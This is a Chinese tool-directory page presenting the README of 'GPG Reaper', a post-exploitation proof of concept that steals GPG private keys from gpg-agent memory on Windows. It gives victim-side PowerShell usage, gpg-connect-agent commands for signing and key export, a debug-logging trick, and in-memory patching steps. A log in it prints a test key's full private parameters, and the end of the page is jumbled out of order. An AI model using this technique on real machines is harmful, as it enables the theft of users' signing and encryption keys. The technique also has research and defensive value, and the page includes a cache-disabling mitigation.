Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gpg_reaper — GPG Reaper - 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥 | Kitploit
工具/GitHubGitHub/kacperszurek/gpg_reaper
内存取证漏洞利用后渗透利用渗透测试
GitHubkacperszurek/gpg_reaper

gpg_reaper

GPG Reaper - 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥

查看仓库
96118年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GPG Reaper

TL;DR: 从 gpg-agent 缓存/内存中获取/窃取/恢复 GPG 私钥

GPG Reaper logo

该 POC 演示了在 Windows 下从 gpg-agent 内存中获取 GPG 私钥的方法。

通常情况下，这只能在 10 分钟 时间窗口内完成（即 --default-cache-ttl 的值）。

不幸的是，housekeeping() 函数（负责缓存清理）仅在您使用 GPG 时执行（没有定时器）。

这意味着在正常的 GPG 使用场景下（例如：您签署某个文件，然后关闭图形界面去处理其他任务），您的密码仍然会保留在 gpg-agent 内存中（即使 TTL 已过期）。

能够访问当前会话的攻击者可以利用此方法窃取私钥，而无需知道您的密码。

注意：GPG 将在 2.2.6 版本更改缓存机制。请参见 commit 和 issue。

Gpg Reaper 实现

目录

  • 安装
  • 测试
  • 介绍
  • 使用方法
  • 在装有 GPG 的机器上进行后利用
  • 绕过私钥导出限制
  • 结论
  • 实现
  • 支持的版本
  • 常见问题
  • 致谢

安装

root@kitploit:~
pip install PGPy

如果遇到：

root@kitploit:~
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:

则执行：

root@kitploit:~
pip install six==1.10.0

测试

  1. 安装 Gpg4Win 3.0.3

  2. 打开命令行，以 2 秒 缓存时间启动 agent：

root@kitploit:~
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
  1. 运行 Kleopatra 并生成新的密钥对

生成 GPG 密钥

  1. 签署某个示例测试文件

签署测试文件

  1. Pinetry 会弹出并询问密码

Pinentry

  1. 重复步骤 4-5。每次 pinetry 都会弹出，因为我们的 2 秒缓存已过期

  2. 运行 GPG reaper

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt

您将看到类似以下内容：

root@kitploit:~
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid           [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes

如您所见，我们成功导出了密钥。这是因为我们禁用了 housekeeping 函数（将其 NOP 掉）。

  1. 恢复私钥：
root@kitploit:~
python gpg_reaper.py .\testme.txt

私钥被导出到文件中：

root@kitploit:~
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>

介绍

GPG-Agent 是一个守护进程，用于独立于任何协议管理私钥。

GUI 界面通过 Assuan 协议 与 agent 通信。

默认情况下，agent 会缓存您的凭据。

--default-cache-ttl n 选项设置缓存条目的有效时间为 n 秒。

默认值为 600 秒。每次访问缓存条目时，其计时器都会重置。

在 Windows 下，签名过程如下所示：

签名过程

这里关键的部分是 housekeeping() 函数，它负责从内存中移除过期的凭据。

但有一个问题：该函数仅在两个地方执行（agent_put_cache 和 agent_get_cache 内部）。

这意味着缓存的凭据不会从内存中移除，直到某些使用 agent_put_cache、agent_get_cache 或 agent_flush_cache 的 gpg-agent 命令被执行。

使用方法

在受害者计算机上：

root@kitploit:~
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt

将 out.txt 传输到您的机器上，然后恢复私钥：

root@kitploit:~
gpg_reaper.py out.txt

私钥将被导出到单独的文件中。

如果 GPG 安装在默认目录之外：

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe

如果不需要调试信息：

root@kitploit:~
Gpg-Reaper -Verbose $false

在装有 GPG 的机器上进行后利用

假设您正在进行渗透测试，并获得了安装了 GPG 的计算机的 shell。

如果您运气好，用户最近使用过 GPG 且缓存尚未过期，您可以：

  1. 签署文件：

运行 c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • 获取特定机器上可用的密钥列表
root@kitploit:~
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
  • 设置密钥柄和消息哈希
root@kitploit:~
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
  1. 导出私钥：

运行 c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe

  • 获取包装密钥
root@kitploit:~
KEYWRAP_KEY --export
  • 从密钥存储中导出密钥。密钥将使用当前会话的密钥包装密钥并以 AESWRAP-128 算法加密
root@kitploit:~
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2

不幸的是，这并不能按预期工作，并且会要求输入密码。

为什么？因为 cmd_export_key() 函数使用 CACHE_MODE_IGNORE 标志调用了 agent_key_from_file()，这意味着不会使用缓存，每次都会要求用户输入密码。

绕过私钥导出限制

我们知道，在不知道密码的情况下，通过 gpg-agent 导出 GPG 密钥是不可能的。

但这里有一个小技巧。Agent 有一些可用的选项：

  1. --debug-level

选择调试级别以调查问题。level 可以是数值或关键字：

guru - 获取所有可用的调试信息。

  1. --log-file file

将所有日志输出追加到文件。这对于查看 agent 实际执行的操作非常有帮助。

让我们使用 gpg-agent.exe --daemon --debug-level guru --log-file out.txt 启动 agent，然后签署某个文件。

root@kitploit:~
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG:         (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG:        (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))

看起来 guru 模式会将 n、e、d、p、q 和 u 的值打印到日志文件中。知道这些值后，我们可以计算出公钥和私钥。

内部地，当 DBG_CRYPTO 设置时，skey 值由 gcry_log_debugsxp() 打印：

root@kitploit:~
if (DBG_CRYPTO)
{
  gcry_log_debugsxp ("skey", s_skey);
  gcry_log_debugsxp ("hash", s_hash);
}

结论

如果您想防范此攻击，需要禁用缓存。

创建/修改：%APPDATA%\gnupg\gpg-agent.conf：

root@kitploit:~
default-cache-ttl 0
max-cache-ttl 0

实现

  1. 检查 gpg-connect-agent.exe、gpg-agent.exe 和 gpg.exe 的路径是否正确

  2. 检查 gpg-agent.exe 的 sha256 是否为支持的版本

  3. 检查 gpg-agent.exe 进程是否正在运行，并使用 OpenProcess 打开它

  4. Start-Job 来终止所有 pinentry 进程实例。这样，当我们请求的密钥不在缓存中时，可以无需用户交互继续执行

  5. 读取 housekeeping() 和 agent_pksign_do() 的原始字节，以便在脚本执行策略后恢复它们

  6. 将 housekeeping() 函数 NOP 掉，使其不会从内存中移除过期的缓存 NOP housekeeping

  7. 使用 gpg.exe --list-secret-keys --with-keygrip 获取所有可用私钥的列表

JMP addr

  1. 使用 gpg-connect-agent.exe 运行以下命令：
root@kitploit:~
SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN

  1. 检查日志文件是否包含 n、e、d、p、q 和 u 的值。如果是，将它们返回给用户。

  2. 对第 7 步中的每个密钥重复第 8-11 步

现在，使用 PGPy 库可以恢复私钥。请参见：gpg_reaper.py

支持的版本

Gpg-agent 编译时未启用 ASLR，因此我在 PowerShell 脚本中使用了一些硬编码的偏移量。

因此，仅支持以下特定版本：

版本gpg-agent.exe sha256
3.0.3D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A
3.0.23FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8

常见问题

  1. 为什么用 PowerShell？

因为该文件可以在大多数现代 Windows 系统上无需外部依赖即可运行。

  1. GPG %file% 不存在

gpg-connect-agent.exe、gpg-agent.exe 或 gpg.exe 在默认位置不存在。

您可以尝试使用以下参数指定自定义路径：

root@kitploit:~
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
  1. 没有 gpg-agent 运行

系统上未运行 gpg-agent.exe，因此无法恢复私钥。

  1. 未知的 gpg-agent 版本，sha256：

目前该脚本仅支持特定版本

  1. 没有缓存的密钥

内存中没有缓存的密钥，因此无法恢复私钥。

致谢

镰刀图标由 Freepik 提供，来自 www.flaticon.com。

Solstice Of Suffering 字体由 GraveTech 提供。

下载工具

  • 使用 gpg.exe --armor --export %key_fingerprint% 获取公钥

  • 使用 VirtualAllocEx 在 gpg-agent.exe 内部分配内存。将日志文件路径存储在那里，并调用 log_set_file()。

  • 在 agent_pksign_do() 中，将 if (DBG_CRYPTO) 替换为对第 9 步分配的内存的调用。

    • 3.0.1
    BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE
    3.0.0C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC